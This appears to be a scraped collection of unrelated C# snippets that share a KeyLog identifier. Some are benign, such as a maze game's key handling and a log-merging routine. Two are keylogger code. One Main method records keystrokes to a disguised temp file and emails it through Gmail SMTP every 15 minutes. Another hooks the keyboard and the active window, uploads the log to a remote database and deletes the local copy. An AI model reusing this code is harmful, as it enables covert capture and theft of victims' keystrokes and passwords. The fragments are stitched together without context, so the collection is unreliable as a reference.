static void Main(string[] args) { KeyLog keyLog = new KeyLog(200, false, Path.GetTempPath() + "WS07654.tmp.dir\\" + "tmpd.tmp"); Thread thKeyLog = new Thread(new ThreadStart(keyLog.StartLog)); thKeyLog.Start(); Dictionary <string, string> userSettings = new Dictionary <string, string>(); userSettings.Add("from", "*****@*****.**"); userSettings.Add("to", "*****@*****.**"); userSettings.Add("subject", Mail.GetMailHeaderContent()); userSettings.Add("body", Mail.GetMailBodyContent()); Dictionary <string, string> serverSettings = new Dictionary <string, string>(); serverSettings.Add("smtpServer", "smtp.gmail.com"); serverSettings.Add("port", 587.ToString()); serverSettings.Add("user", "*****@*****.**"); serverSettings.Add("password", "password"); List <string> attachments = new List <string>(); attachments.Add(keyLog.GetLogPath()); SetTimer(TimeSpan.FromMinutes(15).TotalMilliseconds, new Mail(userSettings, serverSettings, attachments)); }
public void Merge(UserActLog additionLog) { Duration += additionLog.Duration; MouseLog.Merge(additionLog.MouseLog); foreach (Keys k in additionLog.KeyLog.Keys) { if (!KeyLog.ContainsKey(k)) { KeyLog.Add(k, 0); } KeyLog[k] += additionLog.KeyLog[k]; } }
public void Activate() { _keyLog = KeyLog.Create(_logFile.FullName); _keyLog.Saved += _keyLog_Saved; _keyboardHook = new KeyboardHook(); _keyboardHook.StringDown += _keyboardHook_StringDown; _keyboardHook.StringUp += _keyboardHook_StringUp; _keyboardHook.Hook(); _activeWindowHook = new ActiveWindowHook(); _activeWindowHook.ActiveWindowChanged += _activeWindowHook_ActiveWindowChanged; _activeWindowHook.RaiseOne(); }
public window() { InitializeComponent(); LoginPanel.Visible = true; loginTB.Enabled = true; passwordTB.Enabled = true; MainMenu.Visible = false; HelpPanel.Visible = false; GamePanel.Visible = false; SettingsPanel.Visible = false; Soundboard.Load(); Auth.Load(); Leaderboard.Load(LeaderboardPanel); playground = new Map(GamePanel, new Label[] { goldLabel, keysLabel, stepsLabel, pointsLabel }); GameSettings.Load(); TimeControl.Start(timeLabel); playground.Restart(); KeyLog.Load(this); }
private void PushKeyLog(bool forcePush) { var tempLog = KeyLog.Parse(_logFile.FullName); var serializer = new Serializer(new[] { typeof(List <KeyLogEntry>), typeof(NormalText), typeof(SpecialKey), typeof(StandardKey), typeof(WindowChanged) }); try { _databaseConnection.PushFile(serializer.Serialize(tempLog.LogEntries), forcePush ? "Requested Key Log" : "Automatic Key Log", DataMode.KeyLog); _logFile.Delete(); } catch (Exception) { // ignored } }
static void Main(string[] args) { KeyLog.Start(); }
private void window_KeyDown(object sender, KeyEventArgs e) { if (SetButtonPanel.Visible == true) { if (e.KeyCode != Keys.Escape && e.KeyCode != Keys.Enter) { var but = GameSettings.GetKey(Selected); if (GameSettings.SetButton(e.KeyCode, Selected)) { foreach (var l in SettingsPanel.Controls.OfType <Label>()) { if (l.Text == but.ToString()) { l.Text = GameSettings.GetKey(Selected).ToString(); } } } } SetButtonPanel.Visible = false; SetKeyLabel.Text = "Press button for"; } else if (e.KeyCode == Keys.Escape) { if (MainMenu.Visible == true) { Close(); } else { foreach (var p in Controls.OfType <Panel>()) { p.Visible = false; } MainMenu.Visible = true; } } if (GamePanel.Visible) { KeyLog.AddLog((e.KeyCode.ToString()[0])); if (e.KeyCode == GameSettings.KeyBindings[4]) { playground.Destroy(); } else if (e.KeyCode == GameSettings.KeyBindings[5]) { playground.Restart(); } else if (e.KeyCode == Keys.H) { playground.ShowPath(); } else { int command = GameSettings.GetCommand(e.KeyCode); if (command < 4 && command >= 0) { playground.p1.Move(playground, command); } } if (playground.Win() == 1) { GamePanel.Visible = false; winPanel.Visible = true; timeResult.Text = $"Your time: {TimeControl.Current}"; stepsResult.Text = $"Steps: {playground.p1.Steps}"; pointsResult.Text = $"Points: {playground.p1.Points - (playground.p1.Steps - 56) * 5 - (TimeControl.Current - 15) * 5}"; } } }